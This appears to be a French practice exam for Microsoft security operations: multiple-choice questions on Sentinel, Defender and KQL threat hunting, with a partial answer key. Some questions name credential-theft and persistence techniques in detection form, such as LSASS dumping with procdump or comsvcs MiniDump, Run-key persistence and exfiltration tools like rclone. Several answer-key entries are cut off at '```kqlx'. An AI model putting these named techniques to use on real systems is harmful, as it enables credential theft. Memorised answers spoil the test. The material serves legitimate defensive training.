    datetime(2026-10-05T04:12:00Z), "Add service principal credentials", "success",
        dynamic({"user":
{"userPrincipalName":"it.contractor@contoso.com","ipAddress":"203.0.113.66"}}),
        dynamic([{"displayName":"App-Paie-Graph","type":"ServicePrincipal"}]),
    datetime(2026-10-05T10:00:00Z), "Update user", "success",
        dynamic({"user":{"userPrincipalName":"rh.admin@contoso.com","ipAddress":"192.0.2.20"}}),
        dynamic([{"displayName":"Nadia Roche","type":"User"}])
];
Audit
| where OperationName has_any ("Add service principal credentials", "Update application – Certificates
and secrets management")
| extend Auteur = tostring(InitiatedBy.user.userPrincipalName), IP =
tostring(InitiatedBy.user.ipAddress), Application = tostring(TargetResources[0].displayName)
| project TimeGenerated, OperationName, Auteur, IP, Application
```

**A.** Une ligne : la mise à jour de l'utilisateur Nadia Roche.

**B.** Deux lignes.

**C.** Une ligne : l'ajout d'identifiants à « App-Paie-Graph » par it.contractor@contoso.com depuis 203.0.113.66 à 04 h 12.

**D.** Aucune ligne, car InitiatedBy est dynamique.

### Examen 2 — Question 33 (Répondre aux incidents de sécurité)

Une requête de chasse avancée renvoie 12 appareils où un binaire malveillant (SHA256 connu) a été exécuté. L'analyste veut isoler ces appareils et mettre le fichier en quarantaine directement depuis les résultats. Est-ce possible ?

**A.** Non : il faut obligatoirement passer par Live Response sur chaque appareil.

**B.** Oui : la fonctionnalité « Prendre des mesures » (Take action) des résultats de chasse avancée permet d'appliquer des actions sur les appareils (isolation, analyse antivirus, package d'investigation…) et sur les fichiers (quarantaine, indicateur).

**C.** Oui, mais uniquement pour les e-mails.

**D.** Non : la chasse avancée est en lecture seule.

### Examen 2 — Question 34 (Répondre aux incidents de sécurité)

Defender for Storage signale « Access from a suspicious IP address » sur un compte de stockage. Quelle démarche d'investigation est la plus complète ?

**A.** Attendre une deuxième alerte.

**B.** Supprimer le compte de stockage immédiatement.

**C.** Identifier le mode d'authentification utilisé (clé de compte, SAS, Entra ID), les objets consultés et le volume (StorageBlobLogs), l'origine de l'identifiant (fuite de clé/SAS dans un dépôt de code, identité compromise), puis faire tourner les clés/SAS et restreindre l'accès réseau.

**D.** Changer uniquement le nom du conteneur.

### Examen 2 — Question 35 (Gérer un environnement d'opérations de sécurité)

Un pare-feu Palo Alto envoie ses journaux au format CEF sur Syslog. Quelle architecture recommandée permet de les ingérer dans Sentinel ?

**A.** Installer l'agent Azure Monitor directement sur le pare-feu.

**B.** Un redirecteur de journaux Linux avec l'agent Azure Monitor et une DCR « CEF via AMA », vers lequel le pare-feu envoie ses messages Syslog/CEF ; les données arrivent dans CommonSecurityLog.

**C.** Envoyer les journaux par e-mail vers une boîte surveillée par un playbook.

**D.** Utiliser le connecteur Windows Security Events via AMA.

### Examen 2 — Question 36 (Effectuer la chasse aux menaces)

**Besoin de détection :** repérer les tentatives de vidage de la mémoire de LSASS par des outils légitimes détournés (procdump, comsvcs.dll via rundll32), technique T1003.001. Quelle requête est la plus pertinente ?

**A.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(1d)
| where AccountName =~ "lsass"
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "lsass.exe"
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where (FileName in~ ("procdump.exe", "procdump64.exe") and ProcessCommandLine has "lsass")
    or (FileName =~ "rundll32.exe" and ProcessCommandLine has "comsvcs" and ProcessCommandLine
has "minidump")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName
```

**D.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName =~ "lsass.exe"
```

## Examen 2 — Question 37 (Effectuer la chasse aux menaces)

**Besoin :** pour chaque connexion vers une IP de commande et contrôle, afficher la ligne de commande complète du processus et celle de son parent. Quelle requête est la plus simple et correcte ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "198.51.100.23"
```

**B.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessParentFileName
```

**C.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
| join kind=inner (DeviceProcessEvents) on DeviceName
```

**D.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
```

## Examen 2 — Question 38 (Effectuer la chasse aux menaces)

**Scénario F (suite) :** quels comptes ont ouvert une session sur PC-0712 depuis le début de la compromission (estimé au 3 octobre à 14 h) et doivent être considérés comme exposés ? **Question :** quelle requête utiliser ?

**A.**

REQUÊTE KQL

```
IdentityInfo
| where Department == "IT"
```

**B.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > datetime(2026-10-03 14:00)
| where DeviceName =~ "pc-0712"
| where ActionType == "LogonSuccess"
| summarize Sessions = count(), Types = make_set(LogonType), Derniere = max(Timestamp) by
AccountDomain, AccountName
| order by Derniere desc
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > datetime(2026-10-03 14:00)
| where FileName =~ "explorer.exe"
```

**D.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(30d)
| summarize count() by DeviceName
```

## Examen 2 — Question 39 (Gérer un environnement d'opérations de sécurité)

Une règle génère jusqu'à 60 alertes par jour pour le même serveur, ce qui crée 60 incidents. Vous voulez un seul incident par serveur et par 24 heures, et rouvrir l'incident s'il a été fermé par erreur. Quelle configuration de règle répond au besoin ?

**A.** Activer le regroupement d'alertes dans les paramètres d'incident, sur une période de 24 heures, en regroupant les alertes dont l'entité Host correspond, avec l'option de réouverture des incidents fermés correspondants.

**B.** Configurer la suppression de la règle pendant 24 heures.

**C.** Créer une règle d'automatisation qui ferme les incidents en double.

**D.** Désactiver la création d'incidents et traiter les alertes manuellement.

## Examen 2 — Question 40 (Répondre aux incidents de sécurité)

Defender for Containers signale « Privileged container detected » puis « Escape to host attempt » dans un cluster AKS. Quelle réponse est la plus appropriée ?

**A.** Désactiver Defender for Containers.

**B.** Redémarrer le cluster sans investigation.

**C.** Ignorer : les conteneurs privilégiés sont nécessaires à toutes les applications.

**D.** Isoler la charge (supprimer ou mettre à l'échelle zéro le pod, appliquer une politique réseau restrictive), examiner le nœud (possible compromission de l'hôte), identifier qui a déployé le conteneur et renforcer les politiques d'admission (interdire les conteneurs privilégiés).

## Examen 2 — Question 41 (Répondre aux incidents de sécurité)

Le groupe de rançongiciel affirme avoir volé 200 Go de données avant le chiffrement. Quelles sources consulter pour vérifier une exfiltration ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

- **A.** L'exécution d'outils de synchronisation/archivage (rclone, MEGAsync, 7-Zip, WinRAR) dans DeviceProcessEvents sur les serveurs de fichiers.
- **B.** Les recommandations de Defender for Cloud uniquement.
- **C.** Les journaux réseau (pare-feu/proxy, DeviceNetworkEvents) pour des volumes sortants inhabituels vers des services de stockage ou des IP inconnues.
- **D.** La table Heartbeat.
- **E.** Le Secure Score Microsoft.

## Examen 2 — Question 42 (Répondre aux incidents de sécurité)

Un compte Microsoft 365 a été compromis par hameçonnage : connexions depuis une IP étrangère, règle de transfert créée, envoi de spam interne. Quelles actions immédiates sont prioritaires ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

- **A.** Désactiver Defender for Office 365 pour éviter de nouvelles alertes.
- **B.** Attendre la fin de l'enquête complète avant toute action.
- **C.** Supprimer les règles de boîte de réception et de transfert malveillantes, et retirer les e-mails malveillants envoyés en interne.
- **D.** Supprimer définitivement le compte utilisateur.
- **E.** Réinitialiser le mot de passe, révoquer les sessions/jetons d'actualisation et vérifier les méthodes MFA enregistrées par l'attaquant.

## Examen 2 — Question 43 (Gérer un environnement d'opérations de sécurité)

Après la connexion de Sentinel au portail Defender, une règle d'automatisation qui filtrait sur le titre exact des incidents (« Incident – Règle X ») ne se déclenche plus. Quelle est la cause la plus probable ?

- **A.** Les incidents Sentinel ne sont plus enregistrés dans SecurityIncident.
- **B.** Le moteur de corrélation Defender XDR peut renommer les incidents et en modifier la composition ; les conditions fondées sur le titre de l'incident ne sont plus fiables et doivent être remplacées par des conditions sur la règle d'analyse, les alertes ou les balises.
- **C.** Les règles d'automatisation ne peuvent plus lancer de playbooks dans le portail Defender.
- **D.** Les règles d'automatisation sont désactivées dans le portail Defender.

## Examen 2 — Question 44 (Répondre aux incidents de sécurité)

Un poste continue d'exécuter une charge malveillante après suppression de toutes les tâches planifiées et clés Run. Quel mécanisme de persistance moins visible faut-il examiner, et quelle protection existe ?

- **A.** Le fond d'écran de l'utilisateur.
- **B.** Le fichier hosts.
- **C.** La corbeille.

**D.** Les abonnements aux événements WMI (filtres, consommateurs et liaisons), que la règle ASR « Bloquer la persistance via un abonnement aux événements WMI » permet de bloquer.

## Examen 2 — Question 45 (Répondre aux incidents de sécurité)

Vous devez protéger des machines virtuelles Azure avec l'EDR de Defender for Endpoint, l'analyse des vulnérabilités sans agent, la surveillance de l'intégrité des fichiers et l'accès juste-à-temps. Quel plan choisir ?

**A.** Foundational CSPM uniquement.

**B.** Defender for Storage.

**C.** Defender for Servers Plan 2.

**D.** Defender for Servers Plan 1.

## Examen 2 — Question 46 (Effectuer la chasse aux menaces)

**Besoin de détection :** alerter si un utilisateur supprime plus de 200 fichiers SharePoint/OneDrive en une heure (sabotage ou rançongiciel cloud). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload == "Exchange"
| where Operation == "SoftDelete"
```

**B.**

REQUÊTE KQL

```
DeviceFileEvents
| where TimeGenerated > ago(1d)
| where ActionType == "FileDeleted"
| summarize count() by DeviceName
```

**C.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where Operation == "FileAccessed"
| summarize count() by UserId
```

**D.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload in ("SharePoint", "OneDrive")
| where Operation in ("FileDeleted", "FileDeletedFirstStageRecycleBin", "FileRecycled")
| summarize Suppressions = count(), Sites = dcount(Site_Url) by UserId, bin(TimeGenerated, 1h)
| where Suppressions > 200
```

## Examen 2 — Question 47 (Répondre aux incidents de sécurité)

Un serveur a été compromis avec accès SYSTEM par l'attaquant pendant plusieurs jours. L'équipe hésite entre nettoyer les artefacts connus et reconstruire le serveur. Quelle recommandation est la plus sûre ?

**A.** Reconstruire (réinstaller) le serveur à partir d'une source fiable et restaurer les données vérifiées, car un accès SYSTEM prolongé ne permet pas de garantir que toutes les modifications ont été identifiées.

**B.** Nettoyer uniquement les fichiers détectés par l'antivirus.

**C.** Ne rien faire puisque l'attaquant n'est plus actif.

**D.** Changer seulement le nom du serveur.

### Examen 2 — Question 48 (Répondre aux incidents de sécurité)

Une application OAuth inconnue, d'un éditeur non vérifié, a obtenu le consentement de 120 utilisateurs avec les autorisations Mail.ReadWrite et Files.ReadWrite.All. Que faire en priorité ?

**A.** Réinitialiser uniquement les mots de passe des utilisateurs.

**B.** Désactiver Defender for Cloud Apps.

**C.** Examiner l'application (éditeur, autorisations, activité, utilisateurs), et si elle est malveillante, l'interdire/la désactiver et révoquer les consentements, puis enquêter sur les données consultées.

**D.** Ignorer l'alerte car les utilisateurs ont donné leur consentement.

### Examen 2 — Question 49 (Gérer un environnement d'opérations de sécurité)

Dans un classeur, vous voulez que toutes les requêtes utilisent la période choisie par l'utilisateur dans un sélecteur placé en haut. Quelle approche est correcte ?

**A.** Créer un paramètre de type « Time range picker » (par exemple TimeRange) et utiliser ce paramètre dans les requêtes, par exemple `where TimeGenerated {TimeRange}` ou en le sélectionnant comme intervalle de la requête.

**B.** Ajouter `ago(7d)` en dur dans chaque requête.

**C.** Utiliser une watchlist contenant les dates.

**D.** Créer une règle d'automatisation qui modifie les requêtes.

### Examen 2 — Question 50 (Effectuer la chasse aux menaces)

**Besoin de chasse :** repérer l'ajout de valeurs de démarrage automatique dans les clés Run pointant vers des dossiers temporaires ou utilisateur (T1547.001). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "regedit.exe"
```

**B.**

REQUÊTE KQL

```
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where ActionType == "RegistryKeyDeleted"
| where RegistryKey has "Run"
```

**C.**

REQUÊTE KQL

```
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where ActionType == "RegistryValueSet"
| where RegistryKey has @"\CurrentVersion\Run"
| where RegistryValueData has_any (@"\AppData\", @"\Temp\", @"\Users\Public\", @"\ProgramData\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName
```

**D.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has "Run"
```

## Corrigé de l'examen blanc n° 2

Chaque question de cet examen est une reprise d'une question du guide (numéro indiqué) ; les propositions ont été mélangées. Elle n'est pas comptée une seconde fois dans le total des questions uniques.

| N° | Réponse | Justification |
|---|---|---|
| 1 | **C** | Confirm user compromised (MDCA) → risque utilisateur élevé dans Entra ID Protection.<br>Bonne(s) réponse(s) : « Confirmer que l'utilisateur est compromis » (Confirm user compromised). — détails : question n° 151 du guide. |
| 2 | **C** | IOC = réaction rapide mais éphémère ; TTP = détection durable.<br>Bonne(s) réponse(s) : Parce que l'attaquant peut changer facilement de hachage ou d'adresse IP, alors que modifier ses techniques (par exemple sa façon de voler des identifiants ou de se déplacer) lui coûte beaucoup plus cher. — détails : question n° 350 du guide. |
| 3 | **C** | SIEM Sentinel = RBAC Azure ; data lake Sentinel = RBAC Microsoft Entra ID (en complément).<br>**Explication complémentaire :** La documentation « Rôles et autorisations dans la plateforme Microsoft Sentinel » précise que Sentinel utilise le **RBAC Azure** pour le SIEM et le **RBAC Microsoft Entra ID** pour le data lake. Par exemple, Reader et Contributor permettent des requêtes interactives sur les espaces ; d'autres opérations (jobs, gestion) exigent des rôles Entra appropriés.<br>Bonne(s) réponse(s) : Le data lake utilise des rôles Microsoft Entra ID (RBAC Entra) en plus des rôles Azure de Sentinel, alors que le SIEM Sentinel repose sur le RBAC Azure. — détails : question n° 14 du guide. |
| 4 | **D** | Décoder la commande (`base64_decode_tostring` ou Copilot) pour obtenir de nouveaux IOC.<br>**Explication complémentaire :** La commande encodée se décode en KQL (`extract` + `base64_decode_tostring`) ou avec l'**analyse de script** de Copilot. Elle révèle souvent l'URL de téléchargement de la seconde charge, des domaines et des techniques (contournement d'AMSI, désactivation de la journalisation).<br>Bonne(s) réponse(s) : Extraire la chaîne avec `extract()` puis la décoder avec `base64_decode_tostring()` (en tenant compte de l'encodage UTF-16LE), ou utiliser l'analyse de script de Copilot dans Defender. — détails : question n° 409 du guide. |
| 5 | **C** | Après incident : détections ciblées sur IOC et surtout TTP + surveillance des actifs touchés.<br>Bonne(s) réponse(s) : Créer des détections ciblées temporaires (règles analytiques ou détections personnalisées) sur les IOC et TTP observés (IP, domaines, hachages, comptes, techniques) avec une gravité élevée, et une liste de surveillance des actifs touchés. — détails : question n° 335 du guide. |
| 6 | **C, D** | Pass-the-hash : changer le mot de passe + traiter la source + réduire l'exposition (tiering, Protected Users, Credential Guard).<br>**Explication complémentaire :** Le **pass-the-hash** (T1550.002) réutilise le hachage NTLM volé (souvent depuis LSASS) pour s'authentifier sans mot de passe. Il faut changer le mot de passe (nouveau hachage), traiter le poste source et réduire l'exposition des identifiants à privilèges.<br>Bonne(s) réponse(s) : Réduire l'exposition des identifiants : limiter les connexions d'administrateurs sur les postes (modèle de niveaux), Credential Guard, LAPS, groupe Protected Users. / Réinitialiser le mot de passe du compte dont le hachage est utilisé et investiguer le poste source (vol de LSASS). — détails : question n° 320 du guide. |
| 7 | **A** | Live Response : droits « basiques » (lecture) vs « avancés » (fichiers, scripts, remédiation) à attribuer par rôle.<br>**Explication complémentaire :** Les droits Live Response sont gérés par des **rôles** (RBAC MDE ou RBAC unifié) : **de base** (commandes d'investigation en lecture : `processes`, `connections`, `dir`, `registry`, `services`, `scheduledtasks` ...) ou **avancés** (`getfile`, `putfile`, `run`, `remediate` ...).<br>Bonne(s) réponse(s) : Lui attribuer un rôle personnalisé n'autorisant que les commandes Live Response de base (sans la permission « advanced »). — détails : question n° 101 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 8 | C | Téléchargements Microsoft 365 = CloudAppEvents (RawEventData pour le détail des objets).<br>**Explication complémentaire :** **CloudAppEvents** contient les activités Microsoft 365 ; les téléchargements (FileDownloaded, synchronisations) et les détails de l'objet sont dans **RawEventData** (dynamique), d'où l'extraction de SiteUrl et SourceFileName.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 433 du guide. |
| 9 | C | Titre/gravité/tactique dynamiques = alert details override ( `{{Colonne}}` ) ; données métier dans l'alerte = custom details.<br>Bonne(s) réponse(s) : Le remplacement des détails d'alerte (alert details override), avec un format de nom d'alerte contenant des paramètres tels que `{{SubjectUserName}}` et `{{Computer}}`. — détails : question n° 40 du guide. |
| 10 | A | Usage d'une clé de stockage volée = StorageBlobLogs (AuthenticationType AccountKey), invisible dans SigninLogs.<br>**Explication complémentaire :** L'usage d'une **clé de compte** ne génère pas de connexion Entra ID : seuls les **journaux de ressources** du stockage (StorageBlobLogs, `AuthenticationType` = AccountKey, `CallerIpAddress`) le révèlent. Defender for Storage peut aussi avoir généré des alertes d'accès anormal.<br>Bonne(s) réponse(s) : Examiner les journaux de ressources du compte de stockage (StorageBlobLogs) pour les accès authentifiés par clé de compte depuis des IP inhabituelles après l'heure de lecture du secret. — détails : question n° 445 du guide. |
| 11 | D | Consentement illicite : révoquer les octrois et le principal de service — changer le mot de passe ne suffit pas.<br>**Explication complémentaire :** Le **consentement illicite** (T1528) donne à l'application des **jetons** d'accès aux données. La réponse consiste à **révoquer les octrois** (OAuth2PermissionGrants), **désactiver/supprimer le principal de service**, examiner ce que l'application a fait (MicrosoftGraphActivityLogs, audit) et **restreindre le consentement** (éditeurs vérifiés, flux de demande de consentement administrateur).<br>Bonne(s) réponse(s) : Identifier l'application et les utilisateurs ayant consenti, révoquer les autorisations (supprimer les octrois de consentement et désactiver ou supprimer le principal de service), puis restreindre le consentement des utilisateurs. — détails : question n° 296 du guide. |
| 12 | A | URBAC : incidents/cas = Security Data (Read/Manage) ; tables et rétention = Data (manage) ; configuration = Security settings.<br>Bonne(s) réponse(s) : « Security data » en lecture et gestion (Security Data Read / Security Data Manage) dans le groupe d'autorisations Opérations de sécurité. — détails : question n° 15 du guide. |
| 13 | C | Faux positif d'interruption sur un compte critique = exclusion ciblée dans les paramètres d'attack disruption.<br>**Explication complémentaire :** Les paramètres de l'interruption automatique permettent d'**exclure des utilisateurs** (et des appareils selon les actions) des actions automatiques de confinement, pour protéger des comptes critiques.<br>Bonne(s) réponse(s) : Ajouter le compte aux exclusions de l'interruption automatique d'attaque (exclusion d'identité), après validation que son comportement est légitime. — détails : question n° 121 du guide. |
| 14 | D, E | Attack disruption efficace = MDE largement déployé (bloc EDR, anti-falsification) + MDI sur les DC + automatisation suffisante ; exclusions possibles.<br>**Explication complémentaire :** L'interruption automatique repose sur la couverture XDR : **MDE** (découverte des appareils, EDR en mode bloc, protection contre les falsifications) pour **contenir les appareils**, et **MDI** pour **désactiver/contenir les comptes** Active Directory. Les niveaux d'automatisation appropriés et l'audit des exclusions sont également recommandés.<br>Bonne(s) réponse(s) : Déployer Defender for Identity sur les contrôleurs de domaine (pour permettre les actions sur les comptes Active Directory, comme la désactivation de l'utilisateur). / Déployer Defender for Endpoint avec la découverte des appareils et le mode bloc EDR / la protection contre les falsifications, sur un maximum d'appareils. — détails : question n° 117 du guide. |
| 15 | A | Éradication d'un compte cloud : vérifier consentements OAuth, méthodes MFA, appareils et règles ajoutés.<br>**Explication complémentaire :** Les attaquants créent des **persistances** indépendantes du mot de passe : **consentements OAuth** (T1528), **méthodes MFA** ajoutées, **appareils** enregistrés, **règles** de boîte. L'éradication doit les inventorier (AuditLogs : « Consent to application », « Add OAuth2PermissionGrant », « User registered security info »...) et les supprimer.<br>Bonne(s) réponse(s) : L'inventaire des applications ayant reçu un consentement de l'utilisatrice (et des secrets/identifiants d'application ajoutés) pendant la compromission, avec révocation des octrois illégitimes. — détails : question n° 405 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 16 | C | Tunnel DNS = sous-domaines longs et uniques vers un même domaine parent.<br>**Explication complémentaire :** Le **tunnel DNS** (T1071.004, T1048) encode des données dans les sous-domaines : labels longs (ici des chaînes hexadécimales de 44 caractères), forte cardinalité de noms uniques et un même domaine parent. La requête extrait le domaine enregistré (deux derniers labels) et la longueur du premier label.<br>Bonne(s) réponse(s) : exfil-data.net, interrogé par 10.0.4.25 avec des sous-domaines d'environ 44 caractères, tous différents. — détails : question n° 266 du guide. |
| 17 | A | Séparer l'accès à certaines tables dans un espace partagé → RBAC au niveau table (ou contexte de ressource), pas un nouveau rôle Sentinel global.<br>**Explication complémentaire :** Le **RBAC au niveau table** de Log Analytics permet d'accorder l'accès à des tables précises (ou de l'interdire) au sein d'un même espace. C'est l'option documentée pour séparer des données sensibles sans multiplier les espaces.<br>Bonne(s) réponse(s) : Configurer un contrôle d'accès au niveau table (table-level RBAC), via un rôle personnalisé ou l'attribution de droits de lecture limités aux tables autorisées. — détails : question n° 12 du guide. |
| 18 | D | Liste de contrôle par type d'incident = tâches d'incident ajoutées par règle d'automatisation.<br>Bonne(s) réponse(s) : Une règle d'automatisation avec l'action « Ajouter une tâche », conditionnée aux incidents d'hameçonnage. — détails : question n° 55 du guide. |
| 19 | B | Un implant trouvé = pivoter sur ses IOC dans tout le parc (chasse avancée) avant d'éradiquer.<br>Bonne(s) réponse(s) : Extraire les indicateurs (hachage du binaire/DLL, IP et domaines de C2, nom de canal nommé, ligne de commande) et les rechercher dans tout le parc via la chasse avancée, puis isoler les appareils trouvés. — détails : question n° 312 du guide. |
| 20 | B | Même facilité dans les DCR Syslog et CEF = doublons ; attribuez une facilité distincte aux flux CEF.<br>**Explication complémentaire :** Les DCR **Syslog** et **CEF** s'appuient sur les facilités/niveaux de gravité Syslog. Si les deux DCR sont associées au même redirecteur et ciblent la même facilité (par exemple *local4*), chaque message est envoyé dans les deux tables.<br>Bonne(s) réponse(s) : Deux DCR (Syslog via AMA et CEF via AMA) collectent la même facilité Syslog sur le même redirecteur. — détails : question n° 20 du guide. |
| 21 | D | Faux positif récurrent = corriger la règle (exclusion ciblée par watchlist), pas fermer à la main.<br>Bonne(s) réponse(s) : Corriger la règle : exclure les plages IP du VPN d'entreprise via une watchlist référencée dans la requête, puis documenter la modification. — détails : question n° 286 du guide. |
| 22 | B | Nouveauté par utilisateur = référence `make_set` sur une période passée + `set_has_element`.<br>**Explication complémentaire :** On construit une **référence** (pays connus par utilisateur sur la période J-15 à J-1), puis on compare les connexions du dernier jour avec `set_has_element`. La jointure **inner** ignore les nouveaux utilisateurs sans historique (choix à assumer : un `leftouter` les inclurait).<br>Bonne(s) réponse(s) : ```kql — détails : question n° 225 du guide. |
| 23 | A | Compte leurre = balise Honeytoken dans MDI → alerte à la moindre utilisation.<br>Bonne(s) réponse(s) : Marquer le compte avec la balise « Honeytoken » dans Defender for Identity ; toute authentification ou activité sur ce compte déclenche une alerte. — détails : question n° 141 du guide. |
| 24 | D | Événements manqués par une règle mais visibles plus tard = délai d'ingestion → lookback élargi + ingestion_time().<br>**Explication complémentaire :** Les événements arrivés **après** l'exécution de la règle mais horodatés dans une fenêtre déjà analysée ne sont jamais évalués. La correction documentée : fenêtre = fréquence + délai, et `where ingestion_time() > ago(fréquence)`.<br>Bonne(s) réponse(s) : Un délai d'ingestion supérieur à la fenêtre de la règle ; élargir la fenêtre de recherche (fréquence + délai) et filtrer sur `ingestion_time()` pour éviter les doublons. — détails : question n° 441 du guide. |
| 25 | D | SecurityIncident (comme SecurityAlert pour les mises à jour d'état) est historisée : toujours dédupliquer avec `arg_max(...)` par identifiant d'incident.<br>Bonne(s) réponse(s) : Chaque modification d'un incident ajoute une nouvelle ligne dans SecurityIncident ; il faut ne conserver que la dernière version de chaque incident (par exemple avec `arg_max`). — détails : question n° 7 du guide. |
| 26 | A | Travail SecOps hors incident = cas générique ; incidents = cas d'incident (préversion).<br>Bonne(s) réponse(s) : Les cas génériques (generic cases) de la gestion des cas du portail Defender. — détails : question n° 288 du guide. |
| 27 | C | Règle de transfert = T1114.003 ; règle de dissimulation = T1564.008.<br>Bonne(s) réponse(s) : T1114.003 – Email Collection : Email Forwarding Rule (tactique Collection). — détails : question n° 345 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 28 | **A** | Indicateur de fichier = AV Defender actif + protection cloud ; SHA-256 prioritaire sur SHA-1 et MD5.<br>Bonne(s) réponse(s) : L'antivirus Microsoft Defender n'est pas en mode actif (par exemple mode passif à cause d'un antivirus tiers) ou la protection cloud est désactivée. — détails : question n° 88 du guide. |
| 29 | **D** | Séparer les incidents par périmètre régional = « Restrict correlation to within scoped device groups » (au prix d'une vision moins globale).<br>**Explication complémentaire :** Cette option limite la **corrélation des alertes en incidents** aux alertes provenant d'appareils d'un même groupe d'appareils, ce qui préserve la séparation des périmètres régionaux.<br>Bonne(s) réponse(s) : « Restrict correlation to within scoped device groups » (restreindre la corrélation aux groupes d'appareils de l'étendue). — détails : question n° 98 du guide. |
| 30 | **B** | Action automatique = détection à très haute confiance ; affiner avant d'automatiser l'isolation.<br>**Explication complémentaire :** Les **actions automatiques** (isolation, quarantaine) doivent reposer sur des détections à **très faible taux de faux positifs**. PsExec est un outil d'administration légitime : la détection doit cibler un contexte suspect (compte inhabituel, source inconnue, binaire renommé, cible sensible).<br>Bonne(s) réponse(s) : Affiner la requête (exclure les comptes et serveurs de déploiement légitimes, cibler des combinaisons suspectes), et réserver l'isolation automatique aux détections à très haute confiance ; libérer les serveurs après vérification. — détails : question n° 450 du guide. |
| 31 | **C** | Réduire ce qui est ingéré = filtrer à la source (DCR XPath/facilités) ou transformer à l'ingestion (transformKql) ; filtrer dans les requêtes ne réduit pas la facture.<br>**Explication complémentaire :** Les **transformations d'ingestion** sont des requêtes KQL appliquées dans la **DCR** avant stockage. Elles peuvent filtrer des lignes (`where`), supprimer ou masquer des colonnes (`project-away`, `extend` + `replace_string`) ou enrichir des données.<br>Bonne(s) réponse(s) : Ajouter une transformation au moment de l'ingestion (transformKql) dans la DCR, par exemple `source \| project-away AdditionalExtensions`. — détails : question n° 34 du guide. |
| 32 | **C** | Persistance applicative = ajout d'identifiants à une application (AuditLogs) → vérifier ses connexions et appels Graph.<br>**Explication complémentaire :** L'ajout de **secrets ou certificats** à une application ou un principal de service (« Add service principal credentials », « Update application – Certificates and secrets management ») permet à un attaquant de s'authentifier comme l'application, souvent avec des permissions Graph élevées, indépendamment des utilisateurs.<br>Bonne(s) réponse(s) : Une ligne : l'ajout d'identifiants à « App-Paie-Graph » par it.contractor@contoso.com depuis 203.0.113.66 à 04 h 12. — détails : question n° 272 du guide. |
| 33 | **B** | Résultats de chasse → Take action (appareils, fichiers, e-mails, utilisateurs) ; tout est tracé dans l'Action center.<br>Bonne(s) réponse(s) : Oui : la fonctionnalité « Prendre des mesures » (Take action) des résultats de chasse avancée permet d'appliquer des actions sur les appareils (isolation, analyse antivirus, package d'investigation…) et sur les fichiers (quarantaine, indicateur). — détails : question n° 85 du guide. |
| 34 | **C** | Accès suspect au stockage : identifier le type d'authentification, mesurer les accès, faire tourner clés/SAS, restreindre le réseau.<br>**Explication complémentaire :** L'**authentification** détermine la remédiation : une **clé de compte** ou un **SAS** divulgués doivent être **renouvelés/révoqués** ; une identité Entra compromise doit être traitée côté identité. Les **journaux de ressources** (StorageBlobLogs) indiquent les opérations, objets et volumes.<br>Bonne(s) réponse(s) : Identifier le mode d'authentification utilisé (clé de compte, SAS, Entra ID), les objets consultés et le volume (StorageBlobLogs), l'origine de l'identifiant (fuite de clé/SAS dans un dépôt de code, identité compromise), puis faire tourner les clés/SAS et restreindre l'accès réseau. — détails : question n° 382 du guide. |
| 35 | **B** | Appliance CEF → redirecteur Linux + AMA + DCR « CEF via AMA » → CommonSecurityLog ; Syslog classique → table Syslog.<br>Bonne(s) réponse(s) : Un redirecteur de journaux Linux avec l'agent Azure Monitor et une DCR « CEF via AMA », vers lequel le pare-feu envoie ses messages Syslog/CEF ; les données arrivent dans CommonSecurityLog. — détails : question n° 19 du guide. |
| 36 | **C** | Vidage LSASS = procdump -ma lsass / rundll32 comsvcs MiniDump ; prévenir avec ASR et Credential Guard.<br>**Explication complémentaire :** Le vidage de LSASS permet d'extraire des identifiants. Les variantes « living off the land » utilisent **procdump** (Sysinternals) ou **comsvcs.dll MiniDump** via rundll32.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 224 du guide. |
| 37 | **B** | Les tables Device* embarquent le processus initiateur et son parent : éviter les jointures inutiles.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 239 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 38 | **B** | Poste à vol d'identifiants : réinitialiser tous les comptes connectés depuis la compromission.<br>**Explication complémentaire :** **DeviceLogonEvents** liste les ouvertures de session réussies sur l'appareil ; tous les comptes connectés après la compromission (interactifs, RDP, services, mais aussi réseau selon les techniques) peuvent avoir leurs identifiants en mémoire et doivent être réinitialisés.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 429 du guide. |
